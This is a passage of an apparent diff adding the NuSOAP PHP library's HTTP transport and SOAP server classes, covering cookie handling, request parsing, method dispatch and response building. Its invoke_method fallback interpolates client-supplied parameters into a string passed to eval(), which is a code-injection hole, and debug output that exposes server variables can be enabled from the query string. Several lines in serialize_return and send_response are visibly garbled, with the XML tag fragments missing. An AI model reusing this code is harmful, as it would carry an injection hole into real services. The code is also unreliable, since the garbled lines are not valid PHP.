$this->setError('Unsupported Content-Encoding ' . $this->incoming_headers['content-encoding']); + } + } else { + $this->debug('No Content-Encoding header'); + } + + if(strlen($data) == 0){ + $this->debug('no data after headers!'); + $this->setError('no data present after HTTP headers'); + return false; + } + + return $data; + } + + /** + * sets the content-type for the SOAP message to be sent + * + * @param string $type the content type, MIME style + * @param mixed $charset character set used for encoding (or false) + * @access public + */ + function setContentType($type, $charset = false) { + $this->setHeader('Content-Type', $type . ($charset ? '; charset=' . $charset : '')); + } + + /** + * specifies that an HTTP persistent connection should be used + * + * @return boolean whether the request was honored by this method. + * @access public + */ + function usePersistentConnection(){ + if (isset($this->outgoing_headers['Accept-Encoding'])) { + return false; + } + $this->protocol_version = '1.1'; + $this->persistentConnection = true; + $this->setHeader('Connection', 'Keep-Alive'); + return true; + } + + /** + * parse an incoming Cookie into it's parts + * + * @param string $cookie_str content of cookie + * @return array with data of that cookie + * @access private + */ + /* + * TODO: allow a Set-Cookie string to be parsed into multiple cookies + */ + function parseCookie($cookie_str) { + $cookie_str = str_replace('; ', ';', $cookie_str) . ';'; + $data = preg_split('/;/', $cookie_str); + $value_str = $data[0]; + + $cookie_param = 'domain='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $domain = substr($cookie_str, $start + strlen($cookie_param)); + $domain = substr($domain, 0, strpos($domain, ';')); + } else { + $domain = ''; + } + + $cookie_param = 'expires='; + $start = strpos($cookie_str, $cookie_param); + if ($start > 0) { + $expires = substr($cookie_str, $start + strlen($cookie_param)); + $expires = substr($expires, 0, strpos($expires, ';')); + } else { + $expires = ''; + } + + $cookie_param = 'path='; + $start = strpos($cookie_str, $cookie_param); + if ( $start > 0 ) { + $path = substr($cookie_str, $start + strlen($cookie_param)); + $path = substr($path, 0, strpos($path, ';')); + } else { + $path = '/'; + } + + $cookie_param = ';secure;'; + if (strpos($cookie_str, $cookie_param) !== FALSE) { + $secure = true; + } else { + $secure = false; + } + + $sep_pos = strpos($value_str, '='); + + if ($sep_pos) { + $name = substr($value_str, 0, $sep_pos); + $value = substr($value_str, $sep_pos + 1); + $cookie= array( 'name' => $name, + 'value' => $value, + 'domain' => $domain, + 'path' => $path, + 'expires' => $expires, + 'secure' => $secure + ); + return $cookie; + } + return false; + } + + /** + * sort out cookies for the current request + * + * @param array $cookies array with all cookies + * @param boolean $secure is the send-content secure or not? + * @return string for Cookie-HTTP-Header + * @access private + */ + function getCookiesForRequest($cookies, $secure=false) { + $cookie_str = ''; + if ((! is_null($cookies)) && (is_array($cookies))) { + foreach ($cookies as $cookie) { + if (! is_array($cookie)) { + continue; + } + $this->debug("check cookie for validity: ".$cookie['name'].'='.$cookie['value']); + if ((isset($cookie['expires'])) && (! empty($cookie['expires']))) { + if (strtotime($cookie['expires']) <= time()) { + $this->debug('cookie has expired'); + continue; + } + } + if ((isset($cookie['domain'])) && (! empty($cookie['domain']))) { + $domain = preg_quote($cookie['domain']); + if (! preg_match("'.*$domain$'i", $this->host)) { + $this->debug('cookie has different domain'); + continue; + } + } + if ((isset($cookie['path'])) && (! empty($cookie['path']))) { + $path = preg_quote($cookie['path']); + if (! preg_match("'^$path.*'i", $this->path)) { + $this->debug('cookie is for a different path'); + continue; + } + } + if ((! $secure) && (isset($cookie['secure'])) && ($cookie['secure'])) { + $this->debug('cookie is secure, transport is not'); + continue; + } + $cookie_str .= $cookie['name'] . '=' . $cookie['value'] . '; '; + $this->debug('add cookie to Cookie-String: ' . $cookie['name'] . '=' . $cookie['value']); + } + } + return $cookie_str; + } +} + +?> +* @author Scott Nichol +* @version $Id$ +* @access public +*/ +class nusoap_server extends nusoap_base { + /** + * HTTP headers of request + * @var array + * @access private + */ + var $headers = array(); + /** + * HTTP request + * @var string + * @access private + */ + var $request = ''; + /** + * SOAP headers from request (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $requestHeaders = ''; + /** + * SOAP Headers from request (parsed) + * @var mixed + * @access public + */ + var $requestHeader = NULL; + /** + * SOAP body request portion (incomplete namespace resolution; special characters not escaped) (text) + * @var string + * @access public + */ + var $document = ''; + /** + * SOAP payload for request (text) + * @var string + * @access public + */ + var $requestSOAP = ''; + /** + * requested method namespace URI + * @var string + * @access private + */ + var $methodURI = ''; + /** + * name of method requested + * @var string + * @access private + */ + var $methodname = ''; + /** + * method parameters from request + * @var array + * @access private + */ + var $methodparams = array(); + /** + * SOAP Action from request + * @var string + * @access private + */ + var $SOAPAction = ''; + /** + * character set encoding of incoming (request) messages + * @var string + * @access public + */ + var $xml_encoding = ''; + /** + * toggles whether the parser decodes element content w/ utf8_decode() + * @var boolean + * @access public + */ + var $decode_utf8 = true; + + /** + * HTTP headers of response + * @var array + * @access public + */ + var $outgoing_headers = array(); + /** + * HTTP response + * @var string + * @access private + */ + var $response = ''; + /** + * SOAP headers for response (text or array of soapval or associative array) + * @var mixed + * @access public + */ + var $responseHeaders = ''; + /** + * SOAP payload for response (text) + * @var string + * @access private + */ + var $responseSOAP = ''; + /** + * method return value to place in response + * @var mixed + * @access private + */ + var $methodreturn = false; + /** + * whether $methodreturn is a string of literal XML + * @var boolean + * @access public + */ + var $methodreturnisliteralxml = false; + /** + * SOAP fault for response (or false) + * @var mixed + * @access private + */ + var $fault = false; + /** + * text indication of result (for debugging) + * @var string + * @access private + */ + var $result = 'successful'; + + /** + * assoc array of operations => opData; operations are added by the register() + * method or by parsing an external WSDL definition + * @var array + * @access private + */ + var $operations = array(); + /** + * wsdl instance (if one) + * @var mixed + * @access private + */ + var $wsdl = false; + /** + * URL for WSDL (if one) + * @var mixed + * @access private + */ + var $externalWSDLURL = false; + /** + * whether to append debug to response as XML comment + * @var boolean + * @access public + */ + var $debug_flag = false; + + + /** + * constructor + * the optional parameter is a path to a WSDL file that you'd like to bind the server instance to. + * + * @param mixed $wsdl file path or URL (string), or wsdl instance (object) + * @access public + */ + function nusoap_server($wsdl=false){ + parent::nusoap_base(); + // turn on debugging? + global $debug; + global $HTTP_SERVER_VARS; + + if (isset($_SERVER)) { + $this->debug("_SERVER is defined:"); + $this->appendDebug($this->varDump($_SERVER)); + } elseif (isset($HTTP_SERVER_VARS)) { + $this->debug("HTTP_SERVER_VARS is defined:"); + $this->appendDebug($this->varDump($HTTP_SERVER_VARS)); + } else { + $this->debug("Neither _SERVER nor HTTP_SERVER_VARS is defined."); + } + + if (isset($debug)) { + $this->debug("In nusoap_server, set debug_flag=$debug based on global flag"); + $this->debug_flag = $debug; + } elseif (isset($_SERVER['QUERY_STRING'])) { + $qs = explode('&', $_SERVER['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #1"); + $this->debug_flag = substr($v, 6); + } + } + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = explode('&', $HTTP_SERVER_VARS['QUERY_STRING']); + foreach ($qs as $v) { + if (substr($v, 0, 6) == 'debug=') { + $this->debug("In nusoap_server, set debug_flag=" . substr($v, 6) . " based on query string #2"); + $this->debug_flag = substr($v, 6); + } + } + } + + // wsdl + if($wsdl){ + $this->debug("In nusoap_server, WSDL is specified"); + if (is_object($wsdl) && (get_class($wsdl) == 'wsdl')) { + $this->wsdl = $wsdl; + $this->externalWSDLURL = $this->wsdl->wsdl; + $this->debug('Use existing wsdl instance from ' . $this->externalWSDLURL); + } else { + $this->debug('Create wsdl from ' . $wsdl); + $this->wsdl = new wsdl($wsdl); + $this->externalWSDLURL = $wsdl; + } + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($err = $this->wsdl->getError()){ + die('WSDL ERROR: '.$err); + } + } + } + + /** + * processes request and returns response + * + * @param string $data usually is the value of $HTTP_RAW_POST_DATA + * @access public + */ + function service($data){ + global $HTTP_SERVER_VARS; + + if (isset($_SERVER['REQUEST_METHOD'])) { + $rm = $_SERVER['REQUEST_METHOD']; + } elseif (isset($HTTP_SERVER_VARS['REQUEST_METHOD'])) { + $rm = $HTTP_SERVER_VARS['REQUEST_METHOD']; + } else { + $rm = ''; + } + + if (isset($_SERVER['QUERY_STRING'])) { + $qs = $_SERVER['QUERY_STRING']; + } elseif (isset($HTTP_SERVER_VARS['QUERY_STRING'])) { + $qs = $HTTP_SERVER_VARS['QUERY_STRING']; + } else { + $qs = ''; + } + $this->debug("In service, request method=$rm query string=$qs strlen(\$data)=" . strlen($data)); + + if ($rm == 'POST') { + $this->debug("In service, invoke the request"); + $this->parse_request($data); + if (! $this->fault) { + $this->invoke_method(); + } + if (! $this->fault) { + $this->serialize_return(); + } + $this->send_response(); + } elseif (preg_match('/wsdl/', $qs) ){ + $this->debug("In service, this is a request for WSDL"); + if ($this->externalWSDLURL){ + if (strpos($this->externalWSDLURL, "http://") !== false) { // assume URL + $this->debug("In service, re-direct for WSDL"); + header('Location: '.$this->externalWSDLURL); + } else { // assume file + $this->debug("In service, use file passthru for WSDL"); + header("Content-Type: text/xml\r\n"); + $pos = strpos($this->externalWSDLURL, "file://"); + if ($pos === false) { + $filename = $this->externalWSDLURL; + } else { + $filename = substr($this->externalWSDLURL, $pos + 7); + } + $fp = fopen($this->externalWSDLURL, 'r'); + fpassthru($fp); + } + } elseif ($this->wsdl) { + $this->debug("In service, serialize WSDL"); + header("Content-Type: text/xml; charset=ISO-8859-1\r\n"); + print $this->wsdl->serialize($this->debug_flag); + if ($this->debug_flag) { + $this->debug('wsdl:'); + $this->appendDebug($this->varDump($this->wsdl)); + print $this->getDebugAsXMLComment(); + } + } else { + $this->debug("In service, there is no WSDL"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide WSDL"; + } + } elseif ($this->wsdl) { + $this->debug("In service, return Web description"); + print $this->wsdl->webDescription(); + } else { + $this->debug("In service, no Web description"); + header("Content-Type: text/html; charset=ISO-8859-1\r\n"); + print "This service does not provide a Web description"; + } + } + + /** + * parses HTTP request headers. + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * + * @access private + */ + function parse_http_headers() { + global $HTTP_SERVER_VARS; + + $this->request = ''; + $this->SOAPAction = ''; + if(function_exists('getallheaders')){ + $this->debug("In parse_http_headers, use getallheaders"); + $headers = getallheaders(); + foreach($headers as $k=>$v){ + $k = strtolower($k); + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + // get SOAPAction header + if(isset($this->headers['soapaction'])){ + $this->SOAPAction = str_replace('"','',$this->headers['soapaction']); + } + // get the character encoding of the incoming request + if(isset($this->headers['content-type']) && strpos($this->headers['content-type'],'=')){ + $enc = str_replace('"','',substr(strstr($this->headers["content-type"],'='),1)); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } elseif(isset($_SERVER) && is_array($_SERVER)){ + $this->debug("In parse_http_headers, use _SERVER"); + foreach ($_SERVER as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } elseif (is_array($HTTP_SERVER_VARS)) { + $this->debug("In parse_http_headers, use HTTP_SERVER_VARS"); + foreach ($HTTP_SERVER_VARS as $k => $v) { + if (substr($k, 0, 5) == 'HTTP_') { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', substr($k, 5)))); $k = strtolower(substr($k, 5)); + } else { + $k = str_replace(' ', '-', strtolower(str_replace('_', ' ', $k))); $k = strtolower($k); + } + if ($k == 'soapaction') { + // get SOAPAction header + $k = 'SOAPAction'; + $v = str_replace('"', '', $v); + $v = str_replace('\\', '', $v); + $this->SOAPAction = $v; + } else if ($k == 'content-type') { + // get the character encoding of the incoming request + if (strpos($v, '=')) { + $enc = substr(strstr($v, '='), 1); + $enc = str_replace('"', '', $enc); + $enc = str_replace('\\', '', $enc); + if (preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)) { + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + } + $this->headers[$k] = $v; + $this->request .= "$k: $v\r\n"; + $this->debug("$k: $v"); + } + } else { + $this->debug("In parse_http_headers, HTTP headers not accessible"); + $this->setError("HTTP headers not accessible"); + } + } + + /** + * parses a request + * + * The following fields are set by this function (when successful) + * + * headers + * request + * xml_encoding + * SOAPAction + * request + * requestSOAP + * methodURI + * methodname + * methodparams + * requestHeaders + * document + * + * This sets the fault field on error + * + * @param string $data XML string + * @access private + */ + function parse_request($data='') { + $this->debug('entering parse_request()'); + $this->parse_http_headers(); + $this->debug('got character encoding: '.$this->xml_encoding); + // uncompress if necessary + if (isset($this->headers['content-encoding']) && $this->headers['content-encoding'] != '') { + $this->debug('got content encoding: ' . $this->headers['content-encoding']); + if ($this->headers['content-encoding'] == 'deflate' || $this->headers['content-encoding'] == 'gzip') { + // if decoding works, use it. else assume data wasn't gzencoded + if (function_exists('gzuncompress')) { + if ($this->headers['content-encoding'] == 'deflate' && $degzdata = @gzuncompress($data)) { + $data = $degzdata; + } elseif ($this->headers['content-encoding'] == 'gzip' && $degzdata = gzinflate(substr($data, 10))) { + $data = $degzdata; + } else { + $this->fault('SOAP-ENV:Client', 'Errors occurred when trying to decode the data'); + return; + } + } else { + $this->fault('SOAP-ENV:Client', 'This Server does not support compressed data'); + return; + } + } + } + $this->request .= "\r\n".$data; + $data = $this->parseRequest($this->headers, $data); + $this->requestSOAP = $data; + $this->debug('leaving parse_request'); + } + + /** + * invokes a PHP function for the requested SOAP method + * + * The following fields are set by this function (when successful) + * + * methodreturn + * + * Note that the PHP function that is called may also set the following + * fields to affect the response sent to the client + * + * responseHeaders + * outgoing_headers + * + * This sets the fault field on error + * + * @access private + */ + function invoke_method() { + $this->debug('in invoke_method, methodname=' . $this->methodname . ' methodURI=' . $this->methodURI . ' SOAPAction=' . $this->SOAPAction); + + // + // if you are debugging in this area of the code, your service uses a class to implement methods, + // you use SOAP RPC, and the client is .NET, please be aware of the following... + // when the .NET wsdl.exe utility generates a proxy, it will remove the '.' or '..' from the + // method name. that is fine for naming the .NET methods. it is not fine for properly constructing + // the XML request and reading the XML response. you need to add the RequestElementName and + // ResponseElementName to the System.Web.Services.Protocols.SoapRpcMethodAttribute that wsdl.exe + // generates for the method. these parameters are used to specify the correct XML element names + // for .NET to use, i.e. the names with the '.' in them. + // + $orig_methodname = $this->methodname; + if ($this->wsdl) { + if ($this->opData = $this->wsdl->getOperationData($this->methodname)) { + $this->debug('in invoke_method, found WSDL operation=' . $this->methodname); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + } elseif ($this->opData = $this->wsdl->getOperationDataForSoapAction($this->SOAPAction)) { + // Note: hopefully this case will only be used for doc/lit, since rpc services should have wrapper element + $this->debug('in invoke_method, found WSDL soapAction=' . $this->SOAPAction . ' for operation=' . $this->opData['name']); + $this->appendDebug('opData=' . $this->varDump($this->opData)); + $this->methodname = $this->opData['name']; + } else { + $this->debug('in invoke_method, no WSDL for operation=' . $this->methodname); + $this->fault('SOAP-ENV:Client', "Operation '" . $this->methodname . "' is not defined in the WSDL for this service"); + return; + } + } else { + $this->debug('in invoke_method, no WSDL to validate method'); + } + + // if a . is present in $this->methodname, we see if there is a class in scope, + // which could be referred to. We will also distinguish between two deliminators, + // to allow methods to be called a the class or an instance + if (strpos($this->methodname, '..') > 0) { + $delim = '..'; + } else if (strpos($this->methodname, '.') > 0) { + $delim = '.'; + } else { + $delim = ''; + } + $this->debug("in invoke_method, delim=$delim"); + + $class = ''; + $method = ''; + if (strlen($delim) > 0 && substr_count($this->methodname, $delim) == 1) { + $try_class = substr($this->methodname, 0, strpos($this->methodname, $delim)); + if (class_exists($try_class)) { + // get the class and method name + $class = $try_class; + $method = substr($this->methodname, strpos($this->methodname, $delim) + strlen($delim)); + $this->debug("in invoke_method, class=$class method=$method delim=$delim"); + } else { + $this->debug("in invoke_method, class=$try_class not found"); + } + } else { + $try_class = ''; + $this->debug("in invoke_method, no class to try"); + } + + // does method exist? + if ($class == '') { + if (!function_exists($this->methodname)) { + $this->debug("in invoke_method, function '$this->methodname' not found!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'('$orig_methodname') not defined in service('$try_class' '$delim')"); + return; + } + } else { + $method_to_compare = (substr(phpversion(), 0, 2) == '4.') ? strtolower($method) : $method; + if (!in_array($method_to_compare, get_class_methods($class))) { + $this->debug("in invoke_method, method '$this->methodname' not found in class '$class'!"); + $this->result = 'fault: method not found'; + $this->fault('SOAP-ENV:Client',"method '$this->methodname'/'$method_to_compare'('$orig_methodname') not defined in service/'$class'('$try_class' '$delim')"); + return; + } + } + + // evaluate message, getting back parameters + // verify that request parameters match the method's signature + if(! $this->verify_method($this->methodname,$this->methodparams)){ + // debug + $this->debug('ERROR: request not verified against method signature'); + $this->result = 'fault: request failed validation against method signature'; + // return fault + $this->fault('SOAP-ENV:Client',"Operation '$this->methodname' not defined in service."); + return; + } + + // if there are parameters to pass + $this->debug('in invoke_method, params:'); + $this->appendDebug($this->varDump($this->methodparams)); + $this->debug("in invoke_method, calling '$this->methodname'"); + if (!function_exists('call_user_func_array')) { + if ($class == '') { + $this->debug('in invoke_method, calling function using eval()'); + $funcCall = "\$this->methodreturn = $this->methodname("; + } else { + if ($delim == '..') { + $this->debug('in invoke_method, calling class method using eval()'); + $funcCall = "\$this->methodreturn = ".$class."::".$method."("; + } else { + $this->debug('in invoke_method, calling instance method using eval()'); + // generate unique instance name + $instname = "\$inst_".time(); + $funcCall = $instname." = new ".$class."(); "; + $funcCall .= "\$this->methodreturn = ".$instname."->".$method."("; + } + } + if ($this->methodparams) { + foreach ($this->methodparams as $param) { + if (is_array($param) || is_object($param)) { + $this->fault('SOAP-ENV:Client', 'NuSOAP does not handle complexType parameters correctly when using eval; call_user_func_array must be available'); + return; + } + $funcCall .= "\"$param\","; + } + $funcCall = substr($funcCall, 0, -1); + } + $funcCall .= ');'; + $this->debug('in invoke_method, function call: '.$funcCall); + @eval($funcCall); + } else { + if ($class == '') { + $this->debug('in invoke_method, calling function using call_user_func_array()'); + $call_arg = "$this->methodname"; // straight assignment changes $this->methodname to lower case after call_user_func_array() + } elseif ($delim == '..') { + $this->debug('in invoke_method, calling class method using call_user_func_array()'); + $call_arg = array ($class, $method); + } else { + $this->debug('in invoke_method, calling instance method using call_user_func_array()'); + $instance = new $class (); + $call_arg = array(&$instance, $method); + } + if (is_array($this->methodparams)) { + $this->methodreturn = call_user_func_array($call_arg, array_values($this->methodparams)); + } else { + $this->methodreturn = call_user_func_array($call_arg, array()); + } + } + $this->debug('in invoke_method, methodreturn:'); + $this->appendDebug($this->varDump($this->methodreturn)); + $this->debug("in invoke_method, called method $this->methodname, received data of type ".gettype($this->methodreturn)); + } + + /** + * serializes the return value from a PHP function into a full SOAP Envelope + * + * The following fields are set by this function (when successful) + * + * responseSOAP + * + * This sets the fault field on error + * + * @access private + */ + function serialize_return() { + $this->debug('Entering serialize_return methodname: ' . $this->methodname . ' methodURI: ' . $this->methodURI); + // if fault + if (isset($this->methodreturn) && is_object($this->methodreturn) && ((get_class($this->methodreturn) == 'soap_fault') || (get_class($this->methodreturn) == 'nusoap_fault'))) { + $this->debug('got a fault object from method'); + $this->fault = $this->methodreturn; + return; + } elseif ($this->methodreturnisliteralxml) { + $return_val = $this->methodreturn; + // returned value(s) + } else { + $this->debug('got a(n) '.gettype($this->methodreturn).' from method'); + $this->debug('serializing return value'); + if($this->wsdl){ + if (sizeof($this->opData['output']['parts']) > 1) { + $this->debug('more than one output part, so use the method return unchanged'); + $opParams = $this->methodreturn; + } elseif (sizeof($this->opData['output']['parts']) == 1) { + $this->debug('exactly one output part, so wrap the method return in a simple array'); + // TODO: verify that it is not already wrapped! + //foreach ($this->opData['output']['parts'] as $name => $type) { + // $this->debug('wrap in element named ' . $name); + //} + $opParams = array($this->methodreturn); + } + $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams); + $this->appendDebug($this->wsdl->getDebug()); + $this->wsdl->clearDebug(); + if($errstr = $this->wsdl->getError()){ + $this->debug('got wsdl error: '.$errstr); + $this->fault('SOAP-ENV:Server', 'unable to serialize result'); + return; + } + } else { + if (isset($this->methodreturn)) { + $return_val = $this->serialize_val($this->methodreturn, 'return'); + } else { + $return_val = ''; + $this->debug('in absence of WSDL, assume void return for backward compatibility'); + } + } + } + $this->debug('return value:'); + $this->appendDebug($this->varDump($return_val)); + + $this->debug('serializing response'); + if ($this->wsdl) { + $this->debug('have WSDL for serialization: style is ' . $this->opData['style']); + if ($this->opData['style'] == 'rpc') { + $this->debug('style is rpc for serialization: use is ' . $this->opData['output']['use']); + if ($this->opData['output']['use'] == 'literal') { + // http://www.ws-i.org/Profiles/BasicProfile-1.1-2004-08-24.html R2735 says rpc/literal accessor elements should not be in a namespace + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } else { + if ($this->methodURI) { + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } else { + $payload = '<'.$this->methodname.'Response>'.$return_val.'methodname.'Response>'; + } + } + } else { + $this->debug('style is not rpc for serialization: assume document'); + $payload = $return_val; + } + } else { + $this->debug('do not have WSDL for serialization: assume rpc/encoded'); + $payload = 'methodname.'Response xmlns:ns1="'.$this->methodURI.'">'.$return_val.'methodname."Response>"; + } + $this->result = 'successful'; + if($this->wsdl){ + //if($this->debug_flag){ + $this->appendDebug($this->wsdl->getDebug()); + // } + if (isset($this->opData['output']['encodingStyle'])) { + $encodingStyle = $this->opData['output']['encodingStyle']; + } else { + $encodingStyle = ''; + } + // Added: In case we use a WSDL, return a serialized env. WITH the usedNamespaces. + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders,$this->wsdl->usedNamespaces,$this->opData['style'],$this->opData['output']['use'],$encodingStyle); + } else { + $this->responseSOAP = $this->serializeEnvelope($payload,$this->responseHeaders); + } + $this->debug("Leaving serialize_return"); + } + + /** + * sends an HTTP response + * + * The following fields are set by this function (when successful) + * + * outgoing_headers + * response + * + * @access private + */ + function send_response() { + $this->debug('Enter send_response'); + if ($this->fault) { + $payload = $this->fault->serialize(); + $this->outgoing_headers[] = "HTTP/1.0 500 Internal Server Error"; + $this->outgoing_headers[] = "Status: 500 Internal Server Error"; + } else { + $payload = $this->responseSOAP; + // Some combinations of PHP+Web server allow the Status + // to come through as a header. Since OK is the default + // just do nothing. + // $this->outgoing_headers[] = "HTTP/1.0 200 OK"; + // $this->outgoing_headers[] = "Status: 200 OK"; + } + // add debug data if in debug mode + if(isset($this->debug_flag) && $this->debug_flag){ + $payload .= $this->getDebugAsXMLComment(); + } + $this->outgoing_headers[] = "Server: $this->title Server v$this->version"; + preg_match('/\$Revisio' . 'n: ([^ ]+)/', $this->revision, $rev); + $this->outgoing_headers[] = "X-SOAP-Server: $this->title/$this->version (".$rev[1].")"; + // Let the Web server decide about this + //$this->outgoing_headers[] = "Connection: Close\r\n"; + $payload = $this->getHTTPBody($payload); + $type = $this->getHTTPContentType(); + $charset = $this->getHTTPContentTypeCharset(); + $this->outgoing_headers[] = "Content-Type: $type" . ($charset ? '; charset=' . $charset : ''); + //begin code to compress payload - by John + // NOTE: there is no way to know whether the Web server will also compress + // this data. + if (strlen($payload) > 1024 && isset($this->headers) && isset($this->headers['accept-encoding'])) { + if (strstr($this->headers['accept-encoding'], 'gzip')) { + if (function_exists('gzencode')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: gzip"; + $payload = gzencode($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } elseif (strstr($this->headers['accept-encoding'], 'deflate')) { + // Note: MSIE requires gzdeflate output (no Zlib header and checksum), + // instead of gzcompress output, + // which conflicts with HTTP 1.1 spec (http://www.w3.org/Protocols/rfc2616/rfc2616-sec3.html#sec3.5) + if (function_exists('gzdeflate')) { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + $this->outgoing_headers[] = "Content-Encoding: deflate"; + $payload = gzdeflate($payload); + } else { + if (isset($this->debug_flag) && $this->debug_flag) { + $payload .= ""; + } + } + } + } + //end code + $this->outgoing_headers[] = "Content-Length: ".strlen($payload); + reset($this->outgoing_headers); + foreach($this->outgoing_headers as $hdr){ + header($hdr, false); + } + print $payload; + $this->response = join("\r\n",$this->outgoing_headers)."\r\n\r\n".$payload; + } + + /** + * takes the value that was created by parsing the request + * and compares to the method's signature, if available. + * + * @param string $operation The operation to be invoked + * @param array $request The array of parameter values + * @return boolean Whether the operation was found + * @access private + */ + function verify_method($operation,$request){ + if(isset($this->wsdl) && is_object($this->wsdl)){ + if($this->wsdl->getOperationData($operation)){ + return true; + } + } elseif(isset($this->operations[$operation])){ + return true; + } + return false; + } + + /** + * processes SOAP message received from client + * + * @param array $headers The HTTP headers + * @param string $data unprocessed request data from client + * @return mixed value of the message, decoded into a PHP type + * @access private + */ + function parseRequest($headers, $data) { + $this->debug('Entering parseRequest() for data of length ' . strlen($data) . ' headers:'); + $this->appendDebug($this->varDump($headers)); + if (!isset($headers['content-type'])) { + $this->setError('Request not of type text/xml (no content-type header)'); + return false; + } + if (!strstr($headers['content-type'], 'text/xml')) { + $this->setError('Request not of type text/xml'); + return false; + } + if (strpos($headers['content-type'], '=')) { + $enc = str_replace('"', '', substr(strstr($headers["content-type"], '='), 1)); + $this->debug('Got response encoding: ' . $enc); + if(preg_match('/^(ISO-8859-1|US-ASCII|UTF-8)$/i',$enc)){ + $this->xml_encoding = strtoupper($enc); + } else { + $this->xml_encoding = 'US-ASCII'; + } + } else { + // should be US-ASCII for HTTP 1.0 or ISO-8859-1 for HTTP 1.1 + $this->xml_encoding = 'ISO-8859-1'; + } + $this->debug('Use encoding: ' . $this->xml_encoding . ' when creating nusoap_parser'); + // parse response, get soap parser obj + $parser = new nusoap_parser($data,$this->xml_encoding,'',$this->decode_utf8); + // parser debug + $this->debug("parser debug: \n".$parser->getDebug()); + // if fault occurred during message parsing + if($err = $parser->getError()){ + $this->result = 'fault: error in msg parsing: '.$err; + $this->fault('SOAP-ENV:Client',"error in msg parsing:\n".$err); + // else successfully parsed request into soapval object + } else { + // get/set methodname + $this->methodURI = $parser->root_struct_namespace; + $this->methodname = $parser->root_struct_name; + $this->debug('methodname: '.$this->methodname.' methodURI: '.$this->methodURI); + $this->debug('calling parser->get_soapbody()'); + $this->methodparams = $parser->get_soapbody(); + // get SOAP headers + $this->requestHeaders = $parser->getHeaders(); + // get SOAP Header + $this->requestHeader = $parser->get_soapheader(); + // add document for doclit support + $this->document = $parser->document; + } + } + + /** + * gets the HTTP body for the current response. + * + * @param string $soapmsg The SOAP payload + * @return string The HTTP body, which includes the SOAP payload + * @access private + */ + function getHTTPBody($soapmsg) { + return $soapmsg; + } + + /** + * gets the HTTP content type for the current response. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type for the current response. + * @access private + */ + function getHTTPContentType() { + return 'text/xml'; + } + + /** + * gets the HTTP content type charset for the current response. + * returns false for non-text content types. + * + * Note: getHTTPBody must be called before this. + * + * @return string the HTTP content type charset for the current response. + * @access private + */ + function getHTTPContentTypeCharset() { + return $this->soap_defencoding; + } + + /** + * add a method to the dispatch map (this has been replaced by the register method) + * + * @param string $methodname + * @param string $in array of input values + * @param string $out array of output values + * @access public + * @deprecated + */ + function add_to_map($methodname,$in,$out){ + $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out); + } + + /** + * register a service function with the server + * + * @param string $name the name of the PHP function, class.method or class..method + * @param array $in assoc array of input values: key = param name, value = param type + * @param array $out assoc array of output values: key = param name, value = param type + * @param mixed $namespace the element namespace for the method or false + * @param mixed $soapaction the soapaction for the method or false + * @param mixed $style optional (rpc|document) or false Note: when 'document' is specified, parameter and return wrappers are created for you automatically + * @param mixed $use optional (encoded|literal) or false + * @param string $documentation optional Description to include in WSDL + * @param string $encodingStyle optional (usually 'http://schemas.xmlsoap.org/soap/encoding/' for encoded) + * @access public + */ + function register($name,$in=array(),$out=array(),$namespace=false,$soapaction=false,$style=false,$use=false,$documentation='',$encodingStyle=''){ + global $HTTP_SERVER_VARS; + + if($this->externalWSDLURL){ + die('You cannot bind to an external WSDL file, and register methods outside of 